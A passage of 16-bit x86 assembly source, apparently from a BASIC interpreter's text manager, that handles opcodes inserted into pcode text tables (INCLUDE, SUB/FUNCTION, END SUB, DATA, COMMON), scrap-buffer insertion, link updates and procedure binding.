; di = offset into pcode buffer 'ps.bdpDst'
; ax = pointer into pcode buffer 'ps.bdpDst'
; When they've completed their work, they branch to one of:
; PiNext - normal exit when everything looks ok
; TcUndo - when user has been warned that the edit would prevent
; continuing, and the user responded CANCEL.
; TcAlert0 - ax = error code, when error is to be reported to user
; and line is to be saved as an opReParse
; TcReParse - ax = error code, when error is NOT to be reported to user
; immediately (unless we're going through the reparse loop in preparation
; to execute a direct mode statement). The line is saved as an opReParse.
; TcOmErr - if some memory allocation couldn't be satisfied.
;
;-------------------------------------------------------------------
;extract filename out of OpStInclude(cnt,filename) and/or op_Include
;di points to (opcode,cb,text)
DbPub PiInclude
PiInclude:
push ax
call AskCantCont_CP ;see if user wants to back out of edit
pop ax
jne PiInclCont ;brif ok to edit
jmp TcUndo ;brif user wanted to back out of edit
PiInclCont:
cmp [cInclNest],INCLUDE_DEPTH_MAX
jb NotTmf
or [flagsTm],FTM_reInclude ;cause all $INCLUDE lines to be
;reparsed before next RUN
;so we'll report the error again.
mov ax,ER_TMF ;error: Too many files
J2_TcAlert0:
jmp TcAlert0
NotTmf:
push si ;preserve otxDelFirst
push di ;save offset of opcode
add di,[ps.PS_bdpDst.BDP_pb] ;convert offset to pointer
add di,4 ;point to first byte of operand
push di ;pass pSrc to CopyBlk
push ds
pop es ;set es = dgroup
mov cx,-1
mov al,27H ;search for terminating ' in filename
repne scasb
not cx ;cx = length of filename including '
dec cx ;cx = length of filename
PiOpStInc:
cmp cx,FILNAML ;compare length of name [8]
; to length of static buffer
jb NotTooBig ;brif OK
mov ax,ER_IFN ;report bad filename error
jmp SHORT J2_TcAlert0
NotTooBig:
mov [fInclude],sp ;set flag for loading of include file
DbChk HoldBuf1 ;ensure availability of Buf1 [8]
mov si,dataOFFSET b$SdBuf1 ;si ptr to sd for B$Buf1
mov [si.SD_cb],cx ;save filename length
push [si.SD_pb] ;pass ptr to B$Buf1
push cx ;pass cb to copy
call CopyBlk ;copy $INCLUDE's operand to temp buffer
; we just 0-terminated filename for
; FileExists, set cbLogical to real len
pop di ;recover opcode offset
pop si ;recover otxDelFirst
J1_PiNext:
jmp PiNext
DbPub PiOpStSub
PiOpStSub:
PiOpStFunction:
FLoadActive
jne CheckNestedProcs ;brif loading
;Parser ensures that we will be in SS_RUDE when an insertion
;of a SUB or FUNCTION statement is seen.
cmp [oPrsPreParse],UNDEFINED ;were we in a sub or function?
je NotNestedProcs ;brif not - user entered SUB/FUNCTION
;statement in module level text table
;If we are renaming a SUB/FUNCTION, then the deletion of the
;SUB/FUNCTION line caused the FP_DEFINED flag to be reset.
;If the user just entered a SUB/FUNCTION statement in a SUB or
;FUNCTION, the FP_DEFINED bit will still be set. If the user
;happened to be trying to insert a SUB or FUNCTION, in a SUB
;or FUNCTION that has been commented out, then this new SUB/FUNCTION
;statement will inherit the text table instead of creating a new
;SUB.
test [flagsPrsPreParse],FP_DEFINED ;is this a rename?
je J1_PiNext ;brif so, prs already exists.
jmp SHORT NotNestedProcs
CheckNestedProcs:
;See if we were in an unterminated SUB/FUNCTION. If so,
;then we need to call LoadExitProc to clean up the previous
;call to LoadEnterProc.
DbAssertRelb [fMergeInSub],e,0,CP,<TxtChange: fMergeInSub TRUE when sub/func ins>
NotMergingInSub:
cmp [oPrsPreParse],UNDEFINED ;were we in a SUB/FUNCTION?
je NotNestedProcs ;brif not
push [grs.GRS_oPrsCur] ;push oPrsCur for PrsActivate after
;call to load exit proc
push [oPrsPreParse]
call PrsActivateCP ;activate the previous PRS
call LoadExitProc ;clean up it's state
jnc NotOmErr2 ;brif not out of memory error
PiTcOmErr:
jmp TcOmErr
NotOmErr2:
xchg si,ax ;si = otx of insertion point in
; module's text table
call PrsActivateCP ;activate new Prs(oPrs already on stack)
NotNestedProcs:
;If in ASCII Load, or the user entered SUB or FUNCTION in
;the current window. Parser called PrsDefine to
;create the proc's context and make it current.
;Now make the SUB/FUNCTION's text table
push [prsCur.PRS_ogNam]
push WORD PTR([prsCur.PRS_procType])
call PrsMake
or ax,ax
jne JNE_J1_TcAlert0 ;brif PrsMake err
;Proc definition will be inserted at start of newly created text
;table. Remember where we were in module's text table so we
;can tell LoadEnterProc()
mov [otxMrsDelFirst],si
SetStartOtx si ;set otxDelFirst to 0
or [flagsTc],FTC_GotEnterProc ;set TRUE
FloadActive ;don't change window contents if
jne J1_PiNext ; ascii loading
push [grs.GRS_oRsCur]
call WnResetMove ;tell UI that new SUB/FUNC is active
mov [txdCur.TXD_lnCursor],1 ;position new window's cursor at line 1
mov ax,[ps.PS_bdpDst.BDP_pb] ;bx->start of pcode for cur line
push ax
PUSHI ax,<CODEOFFSET tOpEndProc>
call TxtFindOpDS ;dl = index into tOpEndProc table
cmp dl,ENDPROC_opStEndProc ;does parse buf already have an
;end proc (e.g. was it
;SUB FOO:END SUB)?
je J3_PiNext ;brif so - don't insert endproc
mov cx,6 ;size of 2 bols and opStEndProc
call CheckFreeDstBuf ;see if enough room in parser buf
jz PiTcOmErr ;for inserted pcode. brif not
sub [ps.PS_bdpDst.BDP_cbLogical],2 ;eat the opEot
sub [ps.PS_bdpDst.BDP_pbCur],2 ;eat the opEot
.errnz opBol
sub ax,ax ;ax = opBol
call Emit16_AX ;emit opBol to parser buf to create
; a blank line
.errnz opBol
sub ax,ax ;ax = opBol
call Emit16_AX ;emit opBol to parser buf
mov ax,opStEndProc
call Emit16_AX ;emit opStEndProc to parser buf
mov ax,opEot
call Emit16_AX ;emit opEot to parser buffer
J3_PiNext:
jmp SHORT J2_PiNext
PiOpStEndProc:
mov ax,MSG_InvMain ;Illegal in main program
test [txdCur.TXD_flags],FTX_mrs
JNE_J1_TcAlert0:
jne J1_TcAlert0 ;brif we're looking at module text table
mov ax,MSG_InvIncl ;error msg = illegal in include
test [mrscur.MRS_flags2],FM2_Include
jne J1_TcAlert0 ;error if this is an include module
cmp [cInclNest],0
jne J1_TcAlert0 ;error if merging include file
test [prsCur.PRS_flags],FP_ENDPROC
jne LastNotEndErr ;brif already has END SUB
call OtxEndProg ;ax = otxEndProg (end of user pcode)
cmp si,ax
je PiGotEndProc ;brif inserted at end of text
DbAssertRel ax,a,si,CP,<TxtChange: insertion point of End Proc beyond opEndProg>
sub ax,si ;ax = cbDelta from Insertion point
; to opEndProg
push ax
GetSegTxtCur ;es = text segment
pop bx ;bx = cbDelta
;look at all opcodes between opEndProg (exclusive) and insertion point
;don't allow any opcode except opBol (i.e. only allow trivial blank
;lines from END SUB/FUNCTION to opEndProg. Start search at opcode
;prior to opEndProg, and terminate at insertion point.
EndProcBlankSearch:
mov ax,es:[si+bx-2] ;ax = opcode
.errnz opBol
and ax,OPCODE_MASK ;mask out spaces
jne LastNotEndErr ;brif found non opBol opcode
dec bx
dec bx ;advance to next opcode
jne EndProcBlankSearch
PiGotEndProc:
FLoadActive
je NotMergingInSub1 ;brif not loading
cmp [fMergeInSub],0 ;non-zero if MERGING a file into a SUB
je NotMergingInSub1
MrgInSubErr:
mov ax,MSG_InvProc ;illegal in SUB/FUNCTION
jmp TcReParse
NotMergingInSub1:
or [flagsTc],FTC_GotEndProc ;set TRUE
J2_PiNext:
jmp PiNext
;user is inserting END SUB in window that has one, or before end of table
LastNotEndErr:
mov ax,MSG_EndProc
J1_TcAlert0:
jmp TcAlert0
PiOpStShared:
test [txdCur.TXD_flags],FTX_mrs
je J2_PiNext ;ok if in procedure text table
mov ax,MSG_InvMain ;illegal outside SUB/FUNCTION/DEF FN
jmp SHORT J1_TcAlert0
;See if DATA statement is in a SUB or FUNCTION. If we're ASCII loading,
;the statement will eventually be moved to module level. If the user
;is editing, give an error.
PiOpStData:
cmp [fLoadInclude],FALSE ;[J2]
jne InvProcLevel ;[J2]
FLoadActive
jne J2_PiNext ;brif loading (DATA stmts will be
; moved from prs(s) to mrs at end of
; load
InvProcLevel: ;[J2]
test [txdCur.TXD_flags],FTX_mrs
jne J2_PiNext ;ok if not in procedure text table
jmp short InvProcErr ;invalid in SUB or FUNCTION
;Opcodes which cause ModuleRudeEdit
;DEF FN within SUB/FUNCTION is caught in prsid.asm's MakeProc
PiOpEndSingleDef:
PiOpStEndDef:
test [txdCur.TXD_flags],FTX_mrs
jne NotInSub ;ok if not in procedure text table
InvProcErr:
mov ax,MSG_InvProc ;illegal in SUB/FUNCTION
jmp SHORT J1_TcAlert0
PiOp_Dynamic:
mov [fDynArrays],1 ;set TRUE for ASCII Load
jmp SHORT PiOpStEndType
PiOp_Static:
mov [fDynArrays],FALSE ;set FALSE for ASCII Load
jmp SHORT PiOpStEndType
;Opcodes which cause SystemDescan
; The reason we can't depend on the variable manager to cause a rude edit
; when a NEW common variable is created (as it does for SHARED etc.)
; is because it is legal to have DIM x(1) followed by COMMON x().
;
PiOpStCommon: ;scanner will rebuild common tables
PiOpStOptionBase0:
PiOpStOptionBase1:
PiOpStDefType:
call SystemDescanCP ;implicit parms in DECLARE, SUB,
; FUNCTION stmts need to be rechecked
; by the scanner
;When we insert an A as B in a TYPE/END TYPE block we need to take
; the system to SS_RUDE to force reevaluation of the TYPE block.
;When we insert a SHARED statement, we need to take the system to SS_RUDE
; for the Variable Manager.
;When inserting a CONST statement, we need to take the system to SS_RUDE,
; so that the rude scanner will evaluate the CONST expression.
NotInSub:
PiOpElemRef:
PiOpShared:
PiOpStConst:
PiOpStEndType:
cmp [txdCur.TXD_scanState],SS_RUDE
jae J2_PiNext ; speed opt. - we're already rude
call AskRudeEdit ;see if user wants to back out of edit
je J2_TcUndo ;brif user backed out of edit
jmp Retry ;brif user didn't back out of edit
;re-parse line, won't get back here,
; because now text table is in SS_RUDE
J2_TcUndo:
jmp TcUndo ;undo delete (if any) and return
PiOpStFor:
dec [cForDel] ;cForDel = 1+#FOR stmts deleted
; by TxtDelete.
jmp SHORT PiInsFor
PiOpStForStep:
dec [cForStepDel] ;cForStepDel = 1+#FOR STEP stmts deleted
; by TxtDelete.
PiInsFor:
je AskForCont ;brif we've inserted more FORs than
; were deleted
call FindORsFrame ;see if active prs (if any) has a
; frame on the stack
or ax,ax
je J2_PiNext ;brif not found
;else (can't edit buried prs FOR)
; because it could require change in
; frame size
AskForCont:
call AskCantCont_CP ;see if user wants to back out of edit
je J2_TcUndo ;brif user backed out of edit
jmp SHORT J2_PiNext ;brif user didn't back out of edit
; dispatch table used for processing inserted opcodes.
PiDispatch:
DW PiOp_Static
DW PiOp_Dynamic
DW PiInclude
DW PiOpStSub
DW PiOpStFunction
DW PiOpStEndProc
DW PiOpEndSingleDef
DW PiOpStEndDef
DW PiOpStData
DW PiOpStShared
DW PiOpStDefType
DW PiOpStCommon
DW PiOpStEndType
DW PiOpStFor
DW PiOpStForStep
DW PiOpStConst
DW PiOpShared
DW PiOpStOptionBase0
DW PiOpStOptionBase1
DW PiOpElemRef
;**************************************************************
; TxtParseUndo
; Purpose:
; We are about to make a line into an opReParse.
; Any prs's that were created by this call to ParseLine
; need to be freed.
; We need to deactivate the active prs if it is
; going to be freed.
; Entry:
; ax = oPrs that was active before ParseLine was called.
;
;**************************************************************
cProc TxtParseUndo,<PUBLIC,NEAR>
cBegin
cmp ax,[grs.GRS_oPrsCur]
je NoDeact ;brif parser didn't move into a new PRS
test [txdCur.TXD_flags],FTX_mrs
je NoDeact ;brif new prs has text table (is
; probably the result of renaming
; a prs, and discovering an error
; after the prs was renamed).
push ax
call PrsActivateCP ;get back to module level/old prs
NoDeact:
call ParseUndo ;We must call this before ModuleRudeEdit
; or else we will try to free some
; DEF FN prs's which no-longer exist
call ChkAllUndefPrsSaveRs ;check all undefed prs entries
;in case parser created one before error
cEnd
;**************************************************************
; TxtInsert
; Purpose:
; Insert a block of pcode in the current text table
; Entry:
; si = text offset where new pcode is to be inserted
; ps.bdpDst = buffer to be inserted
; Exit:
; If out-of-memory, returns ax=0 and psw.z set
;
;**************************************************************
PUBLIC TxtInsert
TxtInsert PROC NEAR
push si ;pass otxInsert
push [ps.PS_bdpDst.BDP_cbLogical] ;pass cbIns
call TxtMoveUp
je TInsExit ;brif out-of-memory error
PUSHI ax,<dataOFFSET txdCur.TXD_bdlText>
push si ;pass otxInsert
push [ps.PS_bdpDst.BDP_pb] ;pass ptr to pcode to insert
push [ps.PS_bdpDst.BDP_cbLogical] ;pass cbIns
call BdlCopyTo ;copy from DS to text table
mov ax,sp
TInsExit:
or ax,ax ;set condition codes for caller
ret
TxtInsert ENDP
;**************************************************************
; TxtInsBdl [40]
; Purpose:
; Insert text from a bdl into current text table.
;
; Entry:
; si = text offset where new pcode is to be inserted
; di -> bdl to be inserted
; ax = # bytes to be inserted.
; The start of the text to be copyied
; is always StartOtx
; Exit:
; If out-of-memory, returns ax=0 and psw.z set
;
;**************************************************************
PUBLIC TxtInsBdl
TxtInsBdl PROC NEAR
push ax ;preserve cbInsert
push si ;pass otxInsert
push ax ;pass cbInsert
call TxtMoveUp ;move text starting at otxInsert
; up by cbInsert bytes if possible
pop cx ;cx = cbInsert
jz TIBExit ;brif Out-of-Memory
push di ;pass source bdl
SetStartOtx ax
push ax ;pass otxSrc
PUSHI ax,<dataOFFSET txdCur.TXD_bdlText> ;pass bdlDst
push si ;pass otxDst
push cx ;pass cbInsert
call BdlCopyFromTo ;copy text from the bdl into gap
mov ax,sp ;return non-zero
or ax,ax ;set condition flag
TIBExit:
ret
TxtInsBdl ENDP
;*****************************************************************************
; TxtCopyScrap
; Purpose:
; Copy a block of pcode from the current text table to bdlTxtScrap
;
; Added as part of revision [9]
;
; Entry:
; parm1: otxStart: offset into text table for 1st byte to move
; parm2: oDst: offset of where to place text in Scrap - if non-zero
; this leaves a gap at the start of the buffer
; parm3: cbMove: number of bytes to move
; parm4: fDelete: true if TxtDelete is to be called to delete the text
; FLoadActive should return FALSE if links in deleted text are
; up-to-date
; Exit:
; If out-of-memory error, returns ax = 0, else ax = non-zero
; condition codes set based on value in ax
;
;*****************************************************************************
cProc TxtCopyScrap,<PUBLIC,NEAR>,<di>
parmW otxStart
parmW oDst
parmW cbMove
parmW fDelete
cBegin
DbAssertRel [otxStart],ae,StartOtx,CP,<TxtCopyScrap: bad otxStart>
DbAssertRel [bdlTxtScrap.BDL_status],e,NOT_OWNER,CP,<bdlTxtScrap in use>
mov di,[cbMove] ;di = cbMove for speed
; CALL bdlAlloc(&bdlTxtTemp, cbMove + oDst)
PUSHI ax,<dataOFFSET bdlTxtScrap>
mov ax,di
add ax,[oDst] ;ax = cbMove + oDst
jnz TcsNotZero
inc ax ;cb can't be zero - this is needed
;by TxtDelete
TcsNotZero:
push ax ;total number of bytes to allocate
PUSHBDL_TYPE pgtypEBGeneric,ax ; pass sb type for EB version
call bdlAlloc
or ax,ax
jz TcsExit ;exit if out-of-memory
; CALL bdlCopyFromTo(&txtCur.bdlText, otxStart, - source
; &bdlTxtscrap , oDst, - destination
; cbMove) - number of bytes
PUSHI ax,<dataOFFSET txdCur.TXD_bdlText>
push [otxStart]
PUSHI bx,<dataOFFSET bdlTxtScrap>
push [oDst]
push di ;push cbMove
call BdlCopyFromTo ;no error is possible (checked above)
; if (fDelete) CALL TxtDelete(otxStart, otxStart + cbMove)
cmp [fDelete],FALSE
je TcsReturnTrue ;brif we're not to delete text
mov ax,[otxStart]
push ax ;pass otxStart
add ax,di ;ax = otxStart + cbMove
push ax ;pass otxEnd
call TxtDelete ;delete pcode from prs's text table
TcsReturnTrue:
mov ax,sp ;return TRUE (no error)
TcsExit:
or ax,ax ;set condition codes for caller
cEnd
;**************************************************************
; TxtInsScrap
; Purpose:
; Insert text in Scrap buffer into text table and release
; the Scrap buffer.
;
; Added as part of revision [9]
;
; Entry:
; si = text offset where new pcode is to be inserted
; bdlTxtScrap = buffer to be inserted
; Exit:
; If out-of-memory, returns ax=0 and psw.z set
;
;**************************************************************
PUBLIC TxtInsScrap
TxtInsScrap PROC NEAR
push di ;preserve caller's di
DbChk Otx,si
mov di,dataOFFSET bdlTxtScrap
mov ax,[di.BDL_cbLogical]
DbAssertRel ax,ae,2,CP,<TxtInsScrap: tried to insert empty scrap>
call TxtInsBdl
jz TisExit
; CALL BdlFree(&bdlTxtScrap)
PUSHI ax,<dataOFFSET bdlTxtScrap>
call BdlFree
mov ax,sp
TisExit:
or ax,ax ;set condition codes for caller
pop di ;restore caller's di
ret
TxtInsScrap ENDP
;--------------------------------------------------------------------
;
; Management of linked lists through a text table's pcode:
;
; TxtInsUpdate is called after ANY pcode has been inserted into
; any text table to update static variables and structures affected
; by the pcode inserted (prs definitions etc.). Unfortunately,
; we cannot call UpdateLinks every time TxtChange is called during
; ASCII load, because it would be far too slow. Instead, we call
; it for a block of lines from LoadEnterProc, LoadExitProc, and AsciiMerge.
;
;
; TxtChange TDataEnd TxtPrsInit SaveDeclares ToggleBp
; | | | | |
; +-----------+------+-----------+-----------+
; |
; TxtInsUpdate LoadEnterProc LoadExitProc AsciiMerge TxtEndBigEdit
; | | | | | |
; +---------+ +----------+-----------+-------------+--------+
; | | |
; UpdatePcs UpdatePrs UpdateLinks
;
;--------------------------------------------------------------------
;**************************************************************
; TxtInsUpdate
; Purpose:
; Called after TxtInsert to update program counter and other
; static entries which are affected by pcode movement.
; Entry:
; si = text offset where new pcode was inserted
; bx = text offset beyond last byte of pcode inserted
; If Loading a file (i.e. FLoadActive), or a big edit is active,
; UpdateLinks is not called.
; This makes ASCII Load and BLOCK CUT/COPY/PASTE MUCH faster
; Exit:
; If out-of-memory, returns ax=0 and psw.z set
; NOTE: Out-of-memory is only possible if opStData or opStRestore1
; is being inserted
;
;**************************************************************
cProc TxtInsUpdate,<PUBLIC,NEAR,NODATA>,<di>
localW otxEndInsert
localW oRsSave
cBegin
DbChk Otx,si ;error if > txdCur.bdlText.cbLogical
DbChk Otx,bx ;error if > txdCur.bdlText.cbLogical
mov [otxEndInsert],bx
mov ax,[txdCur.TXD_bdlText_cbLogical]
sub ax,CB_EMPTY_TEXT-StartOtx
cmp bx,ax
jae TiDontUpd ;brif inserting before end-of-text
; Could be true even if we're loading,
; in case of FILE/MERGE, or $INCLUDE.
; *--------------------------------------------------------------
; * pass information about the edit to UpdatePrs in static struct uprs.UPRS_
; * UpdatePrs will update the prs.otx field for all prs entries affected
; * by this text insert.
; *
; *--------------------------------------------------------------
;
mov ax,[grs.GRS_oRsCur]
mov [uprs.UPRS_oRsEdit],ax
mov [uprs.UPRS_otxEdit],si
sub ax,ax ;cbDel = 0
mov [uprs.UPRS_cbDel],ax
sub bx,si ;bx = cbIns
mov [uprs.UPRS_cbIns],bx ;pass cbIns
;Update program counter and any other runtime text pointers
push si ;pass otxInsert
push bx ;pass cbIns
push ax ;pass cbDel (0)
push ax ;fTestOnly = FALSE
call UpdatePcs ;update program counter and any
; stacked return addresses
mov bx,CPOFFSET UpdatePrs
call ForEachPrsInPlaceCPSav ;preserve callers oRs
; If we are in a text paste, then the inserted pcode can only
; contain opBols and opReparses. TxtPaste updates the line
; count, so no further processing is needed.
;
TiDontUpd:
test [flagsTm],FTM_TxtPaste ;are we in a paste operation
jne TiExitTrue ;if so, exit
push si
PUSHI ax,<CODEOFFSET tOpAftIns>
call TxtFindOp ;ax = offset to 1st inserted opcode
;dl = [txtFindIndex]
AiLoop:
xchg di,ax ;di = otxCur
cmp di,[otxEndInsert]
jae AiDone ;brif beyond inserted pcode
DbAssertRelB dl,b,AFTINS_opEot,CP,<TxtInsUpdate - found EOT before expected>
cmp dl,AFTINS_bolInclMax
ja AiChkBol ;brif not opBolInclude opcode
inc [txdCur.TXD_cLinesIncl] ;bump include line count
AiChkBol:
cmp dl,AFTINS_bolMax
ja AiDisp ;brif not opBol opcode
inc [txdCur.TXD_cLines] ;bump line count
AiDisp:
sub dl,AFTINS_dispMin ;adjust index for non-dispatched opcodes
jc AiNext ;brif no more work for this opcode
sub dh,dh ;dx = dispatch index
shl dx,1 ;dx = dispatch offset
mov bx,dx ;bx = dispatch offset
jmp WORD PTR cs:AiDispatch[bx]
;All the AiOpxxx dispatches either branch to an error handler, or AiNext
AiNext:
push di ;pass otxCur
PUSHI ax,<CODEOFFSET tOpAftIns>
call TxtFindNextOp
jmp SHORT AiLoop
; *--------------------------------------------------------------
; * If we're not loading, update all linked lists which traverse
; * the pcode that were affected by the edit.
; * If we did this for every line during ASCII Load, load time
; * would increase about 1000 percent. For ASCII Load, we do
; * it at the end of every procedure's text table, and finally
; * at end of file.
; *
; * This also applies to Big Edits. To speed up block cut/copy/paste
; * we will only update links at the end of a Big Edit.
; *--------------------------------------------------------------
;
AiDone:
FLoadActive
jne TiExitTrue ;brif LOADing a file
; (speed optimization)
cmp [bigEditState],BIG_EDIT_ACTIVE
je TiExitTrue ;brif in a BigEdit
push si ;pass otxInsert
push [otxEndInsert] ;pass offset beyond inserted text
call UpdateLinks ;update linked lists through pcode
DbChk TxdOps ;check for bad linked lists through
; pcode, bad opcodes, etc.
TiExitTrue:
mov ax,sp ;return non-zero (success)
TiExit:
or ax,ax ;set condition codes for caller
cEnd ;TxtInsUpdate
AiDispatch:
DW AiOpBolLab
DW AiOpBolLabSp
DW AiOpLab
DW AiOpLabSp
DW AiOpStSub
DW AiOpStFunction
DW AiOpStDeclare
DW AiOpStCall
DW AiOpStCallS
DW AiOpStCallLess
DW AiOpStEndProc
DW AiOpEndSingleDef
DW AiOpStEndDef
DW AiOpStData
DW AiOpStRestore1
;-------------------------------------------------------------------
; Opcode specific code which gets executed AFTER pcode is inserted
; in text table. Aixxx stands for After Insert <opcode name>
;
; di = offset into text table to opcode
;
;-------------------------------------------------------------------
;set bit that says the label by this name is defined
AiOpLab:
AiOpLabSp:
AiOpBolLab:
AiOpBolLabSp:
lea ax,[di+4] ;pass ptr to oNam field
call GetWOtx ;ax = label's oNam
push ax ;pass it
PUSHI ax,NM_fLineNumLabel
call SetONamMask ;set bit used for duplicate label check
jmp SHORT J1_AiNext
;See if this reference to oPrs is the "strongest" seen so far.
;If so, make it the owner of the prs entry, that is, make the
;prs entry refer back to this text offset.
;
AiOpStSub:
AiOpStFunction:
AiOpStDeclare:
AiOpStCall:
AiOpStCallS:
AiOpStCallLess:
lea ax,[di+4] ;ax = offset to oPrs field
definePrs:
call GetWOtx ;ax = referenced oPrs
push ax ;pass to PrsActivateCP
mov ax,[grs.GRS_oRsCur] ;ax = rs containing new reference
mov [oRsSave],ax
mov [dprs.DPRS_oRs],ax ;fill dprs structure for SetPrsDefn
mov ax,[grs.GRS_oMrsCur]
mov [dprs.DPRS_oMrs],ax
mov [dprs.DPRS_otx],di
test [mrsCur.MRS_flags2],FM2_INCLUDE ;is this an INCLUDE mrs?
jne SetRef ;force it to a "weak" owner
mov al,[txtFindIndex]
mov dl,FP_DEFINED
cmp al,AFTINS_opStDeclare ;compare with txtFindIndex
jb SetFlags ;brif not DECLARE or CALL reference
mov dl,FP_DECLARED
je SetFlags ;brif DECLARE reference
SetRef:
sub dl,dl ;else it must be a CALL reference
SetFlags:
mov [dprs.DPRS_flags],dl
;parm was pushed several lines above
call PrsActivateCP ;activate referenced prs
call SetPrsDefn ;set its defn to dprs.xxx if strongest
push [oRsSave]
call RsActivateCP ;reactivate txt tbl containing the ref
J1_AiNext:
jmp AiNext
;If we're ASCII loading, DATA statements need to be moved from procedure
;level to module level, and RESTORE statements need to be adjusted to
;point to the module level label. Call TDataEntry to mark where this
;DATA/RESTORE statement is. The actual movement will be done by TDataEnd
;when the ASCII load completes.
;
AiOpStData:
mov al,DT_Data
SKIP2_PSW ;skip next 2 byte instr (mov al,const)
AiOpStRestore1:
mov al,DT_Restore
mov bx,di ;bx = otxCur
call TDataEntry ;add entry to table, so we know
; what needs to be moved at end-of-load
jne J1_AiNext ;brif no error
jmp TiExit ;return FALSE (out of memory)
AiOpEndSingleDef:
AiOpStEndDef:
AiOpStEndProc:
;we got an END SUB/FUNCTION.
;Remember we've seen an end-proc for this procedure
or [prsCur.PRS_flags],FP_ENDPROC
jmp SHORT J1_AiNext
;**************************************************************
; ushort TxtBindPrs
; Purpose:
; Called by TxtBindPrsS for each text prs. See comments
; in TxtBindPrsS.
;
;**************************************************************
TxtBindPrs PROC NEAR
push si ;save caller's si,di
push di
DbAssertRelB [txdCur.TXD_scanState],ne,SS_EXECUTE,CP,<TxtBindPrs err1>
mov ax,[grs.GRS_oRsCur] ;Setup for call to SetPrsDefn
mov [dprs.DPRS_oRs],ax
mov ax,[grs.GRS_oMrsCur]
mov [dprs.DPRS_oMrs],ax
sub ax,ax
push ax
PUSHI ax,<CODEOFFSET tOpPrsDef>
call TxtFindOp ;ax=off to 1st opcode with oPrs operand
;dl = [txtFindIndex]
TbLoop:
mov [dprs.DPRS_otx],ax ;pass otx to SetPrsDefn
xchg si,ax ;si = otxCur
cmp dl,PRSDEF_opEot
jne TbNotDone
jmp TbExit ;brif done with loop
TbNotDone:
lea si,[si+4] ;si = otxPrs
cmp dl,PRSDEF_opStDefFn
jne TbNotDefFn1 ;brif not a DEF FN
inc si
inc si ;skip DEF FN's link field
; assert that scan state is SS_RUDE or SS_SUBRUDE
DbAssertRelb [txdCur.TXD_scanState],ae,SS_RUDE,CP,<TxtBindPrs: invalid scan state>
jmp TbNext ;leave DEF FN's operand as an oNam
; when scanState is SS_RUDE
TbNotDefFn1:
mov ax,si
call GetWOtx ;ax = oNam or oPrs
.errnz DCL_oPrs - 2
xchg di,ax ;di = oNam or oPrs
cmp [fBindStatic],TBIND_Save1
jne TbBindNamToPrs
jmp TbBindPrsToNam ;brif binding oPrs to oNam
;convert oNam to oPrs for Binary Load
TbBindNamToPrs:
mov ax,si ;ax = otxPrs
inc ax
inc ax
call GetWOtx ;ax = procAtr field
.errnz DCL_atr - 4
and al,DCLA_oTyp ;al = proc's oTyp
mov dx,ax
sub cx,cx ;cx = FALSE
mov al,[txtFindIndex] ;al = opcode type
cmp al,PRSDEF_DefineMax
DJMP ja TbCall ; brif not DECLARE/SUB/FUNC/DEFFN
;Got a SUB/FUNCTION/DEFFN or DECLARE
.errnz PRSDEF_opStDeclare
or al,al
jne TbNotDeclare ;brif not DECLARE stmt
;Got a DECLARE stmt, dx = procAtr field
;
mov al,dh
and al,03h ;al = procType (PT_SUB, etc.)
.errnz DCLA_procType - 0300h
cbw ;ax = prsType
sub dh,dh ;dx = oTyp
push di ;pass oNam
push ax ;pass proc type
push dx ;pass oTyp
mov al,1 ;(can't push sp because PrsDefine
; expects a byte parm)
push ax ;pass TRUE (for fDeclare)
call PrsDefine ;ax = error code
or ax,ax
jne JNE1_TbErr ;brif error
mov al,FP_DECLARED ;al = flags for SUB/FUNCTION/DEF FN
jmp SHORT TbGotPrs
;Got a SUB/FUNCTION/DEF FN stmt
;al = txtFindIndex = proc type (PT_SUB etc.)
;dx = oTyp
;
TbNotDeclare:
cmp al,PRSDEF_opStDefFn
jne TbNotDefFn ;brif not DEF FN statement
;SUBs and FUNCTIONs already have
;a prs, no need to create one
.errnz ET_IMP
or dl,dl ;test dl for ET_IMP
jne TbNotDefType ;brif explicitly typed
mov ax,si ;pass text offset in ax
call OtxDefTypeCur ;fill tEtCur with default types for
;this text offset
cCall OTypOfONamDefault,<di> ; ax = default oTyp
xchg dx,ax ;dx = default type
TbNotDefType:
push di ;pass oNam
PUSHI ax,PT_DEFFN ;pass procType (PT_DEFFN)
DbAssertRelB dh,e,0,CP,<TxtBindPrs dh!=0>
push dx ;pass oTyp
;pass fDeclare as FALSE if TBIND_Load, TRUE if TBIND_Save2
;If we passed FALSE for TBIND_Save2, we'd get duplicate definition err
;since prs is already declared. In TBIND_Save2, we don't want to
;create a prs entry, we just want to map an oNam to oPrs.
sub ax,ax
mov al,[fBindStatic]
.errnz TBIND_Load
push ax ;pass fDeclare
call PrsDefine
or ax,ax
JNE1_TbErr:
jne TbErr ;brif error
TbNotDefFn:
mov al,FP_DEFINED ;al = flags for SUB/FUNCTION/DEF FN
TbGotPrs:
mov di,[grs.GRS_oPrsCur] ;di = oPrs
DbAssertRel di,ne,UNDEFINED,CP,<TxtBindPrs err2>
jmp SHORT TbSetDefn
TbCall:
;Got some kind of CALL statement
push di ;pass oNam
PUSHI ax,PT_SUB
PUSHI ax,UNDEFINED
call PrsRef ;ax = oPrs (or error code if MSB set)
js TbErr ;brif error (like out-of-memory)
mov di,ax ;save di = oPrs
push ax ;pass oPrs
call PrsActivateCP
sub al,al ;SetPrsDefn flags = 0 (CALL)
TbSetDefn:
mov [dprs.DPRS_flags],al
call SetPrsDefn ;definition is in static struct dprs
push [dprs.DPRS_oRs]
call RsActivateCP
jmp SHORT TbPut
;convert oPrs to oNam for Binary Save
TbBindPrsToNam:
push di ;pass oPrs
call FieldsOfPrs ;ax = prs's oNam.
mov di,ax ;di = oNam
TbPut:
push si ;pass otxPrs
push di ;pass oNam/oPrs
call PutWOtx
TbNext:
push [dprs.DPRS_otx] ;pass otxCur
PUSHI ax,<CODEOFFSET tOpPrsDef>
call TxtFindNextOp
jmp TbLoop
;Error is not necessarily fatal, for example, during Binary Save
;TxtBindPrsS(0) is called, then TxtBindPrsS(TRUE) is called. In this
;case, TxtBindPrsS(TRUE) will always report duplicate definition errors.
;The caller (binary Save) ignores errors - It is only meaningful
;during binary load.
TbErr:
and ah,7FH ;turn off MSB (set by PrsDefine)
mov [bindErrCode],ax
jmp SHORT TbNext
TbExit:
mov [txdcur.TXD_ScanState],SS_RUDE ;if binding change scanstate
;from SUBRUDE to RUDE otw it will
;already be in rude & this is a NOP
mov ax,sp ;return TRUE (non-zero)
pop di ;save caller's si,di
pop si
ret
TxtBindPrs ENDP
;**************************************************************
; ushort TxtBindPrsS(ax:fBind)
; Purpose:
; Called during Binary Load with fBind==TRUE to go through all
; text tables just loaded, and for each opcode which refers to
; a prs (opStSub/Function/DefFn/Declare/Call/CallS) convert
; the prs id from oNam to oPrs.
;
